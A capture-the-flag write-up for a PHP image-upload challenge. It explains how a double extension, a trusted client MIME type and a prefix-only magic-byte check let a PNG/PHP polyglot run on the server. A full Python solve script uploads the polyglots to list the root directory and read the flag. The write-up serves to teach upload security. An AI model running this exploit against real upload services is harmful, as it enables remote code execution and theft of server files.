Challenge Overview
You are given a URL to a PHP demo that turns a logo upload into social media assets. The organizer hints that a flag file lives somewhere under / with an unpredictable filename, and asks you to read it.
You do not get the application source during the competition. This writeup explains how you would discover the issue from behavior alone, then gives the precise mechanics (so you can verify the reasoning).
The target used for the requests below (which will be dynamic per team) was http://tg3j5gpe.chals.mctf.io/ for this writeup.
What you see first
Fetching the home page returns 200 OK, Content-Type: text/html; charset=UTF-8, and a session cookie:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Set-Cookie: PHPSESSID=91ba8fa7746deb0cc92193b4fb8e00b5; path=/
The page is a single-page flow: upload an image, then you land on a dashboard with previews and a ZIP download. The upload form posts to /upload.php with a file field named logo and the browser will typically send something like Content-Type: image/png or image/jpeg for real images.
That combination (PHP session, file upload, image processing) is a common place to look for weak validation or unsafe storage.
Threat model you are testing
Reasonable checks for a logo upload might include:
- Extension must be
.png,.jpg, and so on. - Declared MIME type from the client should look like an image.
- File contents should look like a real image (magic bytes).
If any of those checks are shallow, you might be able to place PHP code on disk under the web root and request it over HTTP so the server executes it. If that works, you can read local files (including a flag under /) without an interactive shell, as long as PHP functions for file I/O are available.
Finding a bypass (black box)
1. Double extension and which dot matters
Many applications take the last extension after splitting the filename on .. This app does not: it uses the second dot-separated segment as the extension. So for a name like logo.png.php, the pieces are logo, png, php, and the code treats png as the extension. That satisfies an image extension check even though the file also ends in .php.
Without source, you discover this by trial: upload something.png.php with a valid PNG prefix and an image/png MIME type. If the server accepts it and stores a file whose name still ends in .php, you have a strong signal.
2. Client MIME type is attacker-controlled
In multipart uploads, the Content-Type for each part is whatever the client puts there. Browsers set it from the file type, but tools like curl, Burp, or a short Python script can send Content-Type: image/png for arbitrary bytes. If the server trusts that string, you can pair it with non-image payloads that still pass other checks.
3. Magic bytes checked only as a prefix
The server only reads the beginning of the file to see if it looks like PNG, JPEG, GIF, WebP, or SVG. Anything that starts with a valid PNG header can pass, even if the rest of the file is PHP code. That yields a polyglot: real PNG header, then <?php ... ?>.
4. Execution path in the web server
Nginx routes requests whose URI ends in .php to PHP-FPM. A file named logo.png.php still matches the \.php$ location, so it is executed as PHP, not served as a static PNG. A naive rule that only static-serves *.png would miss this, because the filename is not *.png, it is *.png.php.
Why not use system() or cat?
The deployed image configures PHP with disable_functions including exec, system, shell_exec, passthru, proc_open, and popen. So you cannot spawn a shell or run cat /flag....
You can still use functions that are not disabled, for example:
glob('/*')to list entries in/.readfile('/path/to/flag....txt')to print a file.
That is enough to resolve the random flag name and exfiltrate the contents in the HTTP response.
Exploit outline
Step A: upload a PNG and PHP polyglot
- Build a file that begins with the 8-byte PNG signature (
89 50 4E 47 0D 0A 1A 0A). - Append PHP that sets
Content-Type: text/plainand runsforeach (glob('/*') as $p) { echo $p, "\n"; }. - POST it as
logowith filenamelogo.png.phpand partContent-Type: image/png.
Step B: request the stored URL
After redirect back to /, the dashboard HTML includes an <img src="..."> pointing at your file under /uploads/<32 hex session bucket>/logo.png.php. Opening that URL in the browser (or with curl using the same session cookie) runs the PHP. The first few bytes of the response may be the raw PNG header bytes echoed before the interpreter runs; strip those when parsing text.
Step C: read the flag
From the listing, identify the flag path (for example /flag-<random>.txt). Upload a second polyglot with readfile('/that/exact/path'); in the body, again as logo.png.php in the same session (replacing the previous upload). Request the new file URL and read the flag from the body.
Solve script
The following script performs both steps. It keeps a cookie jar (session), uploads twice, and prints directory lines plus the flag. Default upload name is logo.png.php (the middle segment satisfies the app’s image extension check; the file still ends in .php so PHP runs it).
#!/usr/bin/env python3
"""BrandKit upload bypass: PNG magic prefix + PHP body, double extension (e.g. logo.png.php).
1) Upload polyglot that lists / with glob(). 2) Upload polyglot that readfile()s the flag path.
Shell functions are disabled on the server; this uses only PHP file APIs."""
import argparse
import http.cookiejar
import re
import sys
import urllib.error
import urllib.request
PNG = b"\x89PNG\r\n\x1a\n"
DEFAULT_FILENAME = "logo.png.php"
LIST_ROOT = b"""<?php
header('Content-Type: text/plain');
foreach (glob('/*') as $p) {
echo $p, "\\n";
}
?>
"""
def php_readfile(path: str) -> bytes:
q = "'" + path.replace("\\", "\\\\").replace("'", "\\'") + "'"
return f"<?php\nheader('Content-Type: text/plain');\nreadfile({q});\n?>".encode()
def multipart(filename: str, body: bytes, boundary: bytes) -> bytes:
crlf = b"\r\n"
disp = f'Content-Disposition: form-data; name="logo"; filename="{filename}"'
return b"".join(
[
b"--" + boundary + crlf,
disp.encode("ascii") + crlf,
b"Content-Type: image/png" + crlf,
crlf,
body,
crlf + b"--" + boundary + b"--" + crlf,
]
)
def strip_png_leading_bytes(raw: bytes) -> bytes:
return raw[len(PNG) :] if raw.startswith(PNG) else raw
def post_logo(opener, base: str, filename: str, body: bytes) -> str | None:
boundary = b"----brandkitboundary01"
req = urllib.request.Request(
base + "/upload.php",
data=multipart(filename, body, boundary),
method="POST",
headers={"Content-Type": f"multipart/form-data; boundary={boundary.decode('ascii')}"},
)
try:
with opener.open(req, timeout=60) as resp:
html = resp.read().decode("utf-8", errors="replace")
except (urllib.error.HTTPError, urllib.error.URLError) as e:
print(e, file=sys.stderr)
return None
if "Upload saved" not in html:
print(html[:1000], file=sys.stderr)
return None
m = re.search(r'src="([^"]+)" class="max-h-36 max-w-full object-contain"', html)
return m.group(1).strip() if m else None
def guess_flag_path(lines: list[str]) -> str | None:
for c in lines:
if re.search(r"flag|\.txt$", c, re.I):
return c
for c in lines:
if c.startswith("/") and not c.endswith("/"):
return c
return None
def main() -> int:
ap = argparse.ArgumentParser(description="BrandKit flag via uploaded PHP polyglot.")
ap.add_argument("base_url", nargs="?", default="http://127.0.0.1:8080")
ap.add_argument("--filename", default=DEFAULT_FILENAME)
ap.add_argument("--flag-path", default=None, help="Skip listing; read this path only.")
args = ap.parse_args()
base = args.base_url.rstrip("/")
fn = args.filename
jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
try:
opener.open(base + "/", timeout=30)
except urllib.error.URLError as e:
print(e, file=sys.stderr)
return 1
flag_path = args.flag_path
if not flag_path:
rel = post_logo(opener, base, fn, PNG + LIST_ROOT)
if not rel:
return 1
with opener.open(base + rel, timeout=30) as resp:
text = strip_png_leading_bytes(resp.read()).decode("utf-8", errors="replace")
lines = [ln.strip() for ln in text.splitlines() if ln.strip()]
for ln in lines:
print(ln)
flag_path = guess_flag_path(lines)
if not flag_path:
print("No flag path inferred; pass --flag-path", file=sys.stderr)
return 1
rel = post_logo(opener, base, fn, PNG + php_readfile(flag_path))
if not rel:
return 1
with opener.open(base + rel, timeout=30) as resp:
raw = strip_png_leading_bytes(resp.read())
m = re.search(rb"MetaCTF\{[^}]+\}", raw)
if m:
print(m.group(0).decode("ascii", errors="replace"))
return 0
print(raw[-500:].decode("utf-8", errors="replace"), file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())